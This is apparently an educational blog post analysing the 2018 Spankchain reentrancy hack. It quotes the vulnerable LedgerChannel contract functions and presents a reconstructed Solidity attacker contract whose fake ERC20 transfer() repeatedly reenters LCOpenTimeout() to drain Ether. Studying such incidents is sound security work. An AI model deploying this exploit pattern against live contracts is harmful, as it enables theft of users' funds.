Introduction
Spankchain is a decentralised platform for the adult entertainment industry. In 2018, one of their Smart Contracts was attacked and drained of around 165 Ether. The Spankchain team published an overview of the attack when they discovered that it had occurred. In it, they described the exploit as a Reentrancy attack.
Here, we’ll go through a high-level description of the vulnerable contracts, how it is vulnerable, and how it was exploited. We’ll then go through the code in detail and write a malicious contract to exploit the vulnerability.
High-Level Explanation
Spankchain was using a contract which enables entities to exchange Ether and ERC20 tokens. The aim: to reduce fees that would be incurred if the transactions were performed on an exchange.
The contract in question is called LedgerChannel and enables entities (intended as users of the platform) to open channels to transact in. When an entity creates a channel, the open channel allows another entity to join. Once more than one entity is part of the channel, the two can transact Ether or ERC20 tokens.
Every channel has a timeout so that if a second entity does not join within the set timeout, the channel is closed. There is also a manual override, which enables the creator of the channel to timeout the channel and close it early, providing no other entities have joined it.
This manual timeout function sends the creator’s initial deposit of Ether and tokens back. Here is where the vulnerability lies. The attacker had cleverly calculated that the transfer of tokens in this function could be exploited.
By creating a channel with a fake ERC20 token, the attacker was able to define a transfer() which reentered the manual override repeatedly until the contract was drained.
Vulnerable Contract
The vulnerable contract in question is called LedgerChannel, and is deployed (along with several other contracts) to this address: 0xf91546835f756da0c10cfa0cda95b15577b84aa7
The two functions that we’re going to focus on are createChannel() and LCOpenTimeout(). They are viewable on Etherscan, but to save scrolling, Figure 1 shows a snippet of them.
function createChannel(
bytes32 _lcID,
address _partyI,
uint256 _confirmTime,
address _token,
uint256[2] _balances
) public payable
{
require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created.");
require(_partyI != 0x0, "No partyI address provided to LC creation");
require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative");
// Set initial ledger channel state
// Alice must execute this and we assume the initial state
// to be signed from this requirement
// Alternative is to check a sig as in joinChannel
Channels[_lcID].partyAddresses[0] = msg.sender;
Channels[_lcID].partyAddresses[1] = _partyI;
if(_balances[0] != 0) {
require(msg.value == _balances[0], "Eth balance does not match sent value");
Channels[_lcID].ethBalances[0] = msg.value;
}
if(_balances[1] != 0) {
Channels[_lcID].token = HumanStandardToken(_token);
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure");
Channels[_lcID].erc20Balances[0] = _balances[1];
}
Channels[_lcID].sequence = 0;
Channels[_lcID].confirmTime = _confirmTime;
// is close flag, lc state sequence, number open vc, vc root hash, partyA...
//Channels[_lcID].stateHash = keccak256(uint256(0), uint256(0), uint256(0), bytes32(0x0), bytes32(msg.sender), bytes32(_partyI), balanceA, balanceI);
Channels[_lcID].LCopenTimeout = now + _confirmTime;
Channels[_lcID].initialDeposit = _balances;
emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout);
}
function LCOpenTimeout(bytes32 _lcID) public {
require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false);
require(now > Channels[_lcID].LCopenTimeout);
if(Channels[_lcID].initialDeposit[0] != 0) {
Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]);
}
if(Channels[_lcID].initialDeposit[1] != 0) {
require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure");
}
emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0);
// only safe to delete since no action was taken on this channel
delete Channels[_lcID];
}
Figure 1: createChannel() and LCOpenTimeout()
createChannel() is not the problem function but is required to set up the attack. LCOpenTimeout() is vulnerable because it transfers Ether and ERC20 tokens to the entity responsible for opening the channel.
On line 44, the function uses Solidity’s transfer() function to send Ether. This is not vulnerable since the maximum gas forwarded from it is 2,300, which is about enough for one Event emission and not much else. Reentrancy cannot occur here as far as we’re aware.
On line 47, the function calls transfer() on the ERC20 token used as a deposit in the channel creation. The contract is assuming that the token deposited is a trusted ERC20 token. If an attacker were to write a fake ERC20 token, with malicious code inside transfer(), deposited that token in the createChannel() function, then called LCOpenTimeout(), it would call their malicious transfer() code.
That is exactly what happened.
Sequence Of Events
To drain the contract of Ether, the attacker wrote and deployed a malicious contract which imitated ERC20 standard and performed the following steps:
- Create a channel depositing 1 Ether (for example) and fake ERC20 tokens (of itself).
- Call
LCOpenTimeout()to close channel prematurely. LCOpenTimout()performs checks, then sends back 1 Ether deposit (line 44).- The same function continues, reaching line 47 which tries to send back the deposited ERC20 token, calling the malicious
transfer()function. - The malicious (or fake) ERC20 transfer function then calls
LCOpenTimeout()again. - Steps 2,3,4 and 5 are repeated until a condition is met in the malicious
transfer()code to indicate no more calls toLCOpenTimeout().
If 1 Ether was originally deposited, and the condition in the malicious code was to repeat 10 times, the attacker could make away with 10 Ether.
Attacker Contract
The contract address which performed the attack can be found here: 0xc5918a927c4fb83fe99e30d6f66707f4b396900e. Unfortunately, we can only see a decompiled version of the code, not the source code.
We can, however, make an educated guess as to what that contract looks like. Given that we know how the attack was performed, Figure 2 shows an example of what the malicious code might look like.
pragma solidity ^0.4.23;
contract MyChannel {
function createChannel(
bytes32 _lcID,
address _partyI,
uint256 _confirmTime,
address _token,
uint256[2] _balances
) public payable;
function LCOpenTimeout(bytes32 _lcID) public;
}
contract Attacker {
address owner;
address target;
bytes32 data = bytes32(0x46c2b5ea4e12cfd1346073daae08407f9679221cb16637a835a0b659d8da6226);
uint8 callCount;
constructor(address _target) public {
target = _target;
owner = msg.sender;
callCount = 0;
}
function() public payable {}
function createChannel() public payable {
MyChannel(target).createChannel.value(msg.value)(data, address(this), 0, address(this), [uint256(msg.value), uint256(100)]);
}
function attack() public {
MyChannel(target).LCOpenTimeout(data);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool){
return true;
}
function transfer(address _to, uint256 _amount) public returns (bool){
if(callCount < 10) {
callCount += 1;
MyChannel(target).LCOpenTimeout(data);
}
return true;
}
function withdraw() public {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
}
Figure 2: Malicious Attacker contract
The first contract, defined on line 3, represents an interface of the target LedgerChannel contract. We need to define this to enable our attacking contract to call functions inside the target contract.
Inside the Attacker contract, there are 4 state variables:
owner: The attacker’s address.target: The target address of the attack. In our case: LedgerChannel.data: A random 32 bytes variable which acts as the channel’s ID.callCount: The counter used to keep track of how many times the target function is entered.
To initiate the exploit, the createChannel() function is called first, with 1 Ether value (for example). This creates the channel with deposits of Ether and our fake ERC20 tokens.
Next, the attack() function is called, which starts the reentrancy. LedgerChannel’s LCOpenTimeout() sends back the 1 Ether deposit to this address, which is caught by the fallback function on line 29. It then calls transfer() to send back the original ERC20 tokens (which are fake), on line 43.
LedgerChannel’s LCOpenTimeout() is called again from transfer() repeatedly until the callCount is no longer less than 10. At which point, 10 Ether (plus the original 1 Ether) has been transferred to the malicious contract.
That is how Spankchain got hacked.
Learn More
If you’re interested in Blockchain Development, I write tutorials, walkthroughs, hints, and tips on how to get started and build a portfolio. Check out this evolving list of Blockchain Development Resources.
If you enjoyed this post and want to learn more about Smart Contract Security, Blockchain Development or the Blockchain Space in general, I highly recommend signing up to the Blockgeeks platform. They have courses on a wide range of topics in the industry, from Coding to Marketing to Trading. It has proven to be an invaluable tool for my development in the Blockchain space.